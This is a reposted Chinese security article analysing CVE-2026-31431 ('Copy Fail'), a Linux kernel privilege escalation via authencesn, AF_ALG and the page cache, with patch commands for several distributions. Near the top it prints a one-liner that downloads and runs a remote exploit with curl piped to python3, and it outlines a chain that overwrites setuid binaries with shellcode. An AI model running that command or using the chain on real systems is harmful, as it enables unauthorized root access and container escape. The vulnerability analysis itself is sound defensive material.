文章总结: 该文档披露了Linux内核高危漏洞CVE-2026-31431(CopyFail),该漏洞源于authencesn加密模板在解密过程中存在越界写入缺陷,结合AF_ALG用户态加密接口与页缓存机制,可导致本地提权或容器逃逸。文档详细分析了漏洞成因、利用链(通过篡改setuid二进制文件获取root权限)及影响范围(2017年后主流Linux发行版),并提供了各系统的修复命令。 综合评分: 87 文章分类: 漏洞分析,内核安全,容器逃逸,漏洞预警,应急响应
核弹级别漏洞?CVE-2026-31431
原创
xx xx
02安全
2026年4月30日 19:20 湖南
在小说阅读器读本章
去阅读
免责声明
由于传播、利用本公众号02安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号02安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
前言
2026 年 4 月 29 日,一个代号为 Copy Fail 的 Linux 内核本地提权漏洞被公开披露。该漏洞编号 CVE-2026-31431,CVSS 评分 7.8(High),影响 2017 年以来几乎所有主流 Linux 发行版
漏洞利用+修复
curl https://copy.fail/exp | python3 && su
修复方案
# Ubuntu / Debiansudo apt update && sudo apt upgrade -y linux-image-$(uname -r)
# RHEL / CentOSsudo dnf update kernel -y
# Amazon Linuxsudo dnf update kernel -y
# SUSEsudo zypper update kernel-default
漏洞为什么会发生?
#
authencesn 是内核加密子系统中为 IPsec 扩展序列号(ESN) 提供支持的 AEAD(Authenticated Encryption with Associated Data)模板。它在底层 AEAD 算法(如 hmac(sha256) + cbc(aes))之上增加了序列号处理逻辑。
在解密路径中,authencesn 需要对序列号字节进行重排操作,核心代码如下
// crypto_authenc_esn_decrypt() 中的关键操作scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // 读 AAD 前 8 字节scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // 写 4 字节到 offset 4scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ⚠️ 越界写
第三行 scatterwalk_map_and_copy 在 assoclen + cryptlen 偏移处写入 4 字节,这个位置落在合法输出区域之外。
AF_ALG —— 用户态加密接口
AF_ALG 是 Linux 提供的用户态加密 socket 接口,允许非特权用户访问内核加密算法。通过 sendmsg() 发送数据、splice() 零拷贝传输、recv() 触发加解密操作
页缓存(Page Cache)
Linux 使用页缓存加速文件 I/O。当通过 splice() 将文件数据传入 AF_ALG socket 时,内核直接引用文件的**页缓存页面**,而非拷贝一份副本。这意味着对该内存区域的写入会**立即全局可见**——所有进程(包括容器)读取该文件时都会看到被修改后的内容。
Copy Fail 并非单一代码缺陷,而是三个独立的、各自合理的代码变更在近十年后交汇产生的安全问题
2011 ── authencesn 模板引入内核(ESN 序列号重排逻辑) │2015 ── AF_ALG 添加 AEAD 支持(用户态可访问 authencesn) │2017 ── algif_aead 引入 in-place 优化(commit 72548b093ee3) │ req->src = req->dst(共享同一 scatterlist) │ ▼ ┌─────────────────────────────────────────┐ │ 三者交汇:越界写入命中页缓存页面 │ │ 漏洞自 2017 年起静默存在近 10 年 │
2017 年的 in-place 优化是关键转折点。这次优化让 req->src 和 req->dst 指向同一个 scatterlist,而该 scatterlist 通过 sg\_chain() 链接了文件的页缓存页面。当 authencesn 在 assoclen + cryptlen 处执行那个 4 字节写入时,它越过了 RX 缓冲区边界,直接写入了被链入的页缓存页面
整个利用链分为四步:
#
用户态 内核态 页缓存 │ │ │ │ socket(AF_ALG) │ │ │──────────────────────────────►│ │ │ │ │ │ sendmsg(恶意AAD) │ │ │──────────────────────────────►│ │ │ │ │ │ splice(/usr/bin/su) │ 引用页缓存页面 │ │──────────────────────────────►│─────────────────────────►│ │ │ │ │ recv() 触发解密 │ │ │──────────────────────────────►│ scatterwalk 越界写入 │ │ │─────────────────────────►│ ← 4字节被覆写 │ │ │ │ (重复多次拼接 shellcode) │ │ │ │ │ │ execve("/usr/bin/su") │ 加载被篡改的页缓存 │ │──────────────────────────────►│◄─────────────────────────│ │ │ │ │ ← root shell │ │
影响
#
-
Kubernetes 容器逃逸:页缓存在宿主机全局共享,不受容器命名空间隔离。被入侵的容器可以通过篡改宿主机上的 setuid 二进制实现逃逸。
-
攻击链组合:与 Web RCE、SSH 爆破等远程漏洞组合后,可将远程代码执行提升为 root 权限。
时间线
| 日期 | 事件 ||------|------|| 2017 | algif_aead in-place 优化合入内核(commit 72548b093ee3),漏洞引入 || 2026-03-23 | Taeyang Lee 向 Linux 内核安全团队报告漏洞 || 2026-03-25 | 补丁提出并完成审查 || 2026-04-01 | 补丁合入主线内核 || 2026-04-22 | CVE-2026-31431 编号分配 || 2026-04-29 | 漏洞公开披露 |
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:02安全 xx xx《核弹级别漏洞?CVE-2026-31431》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论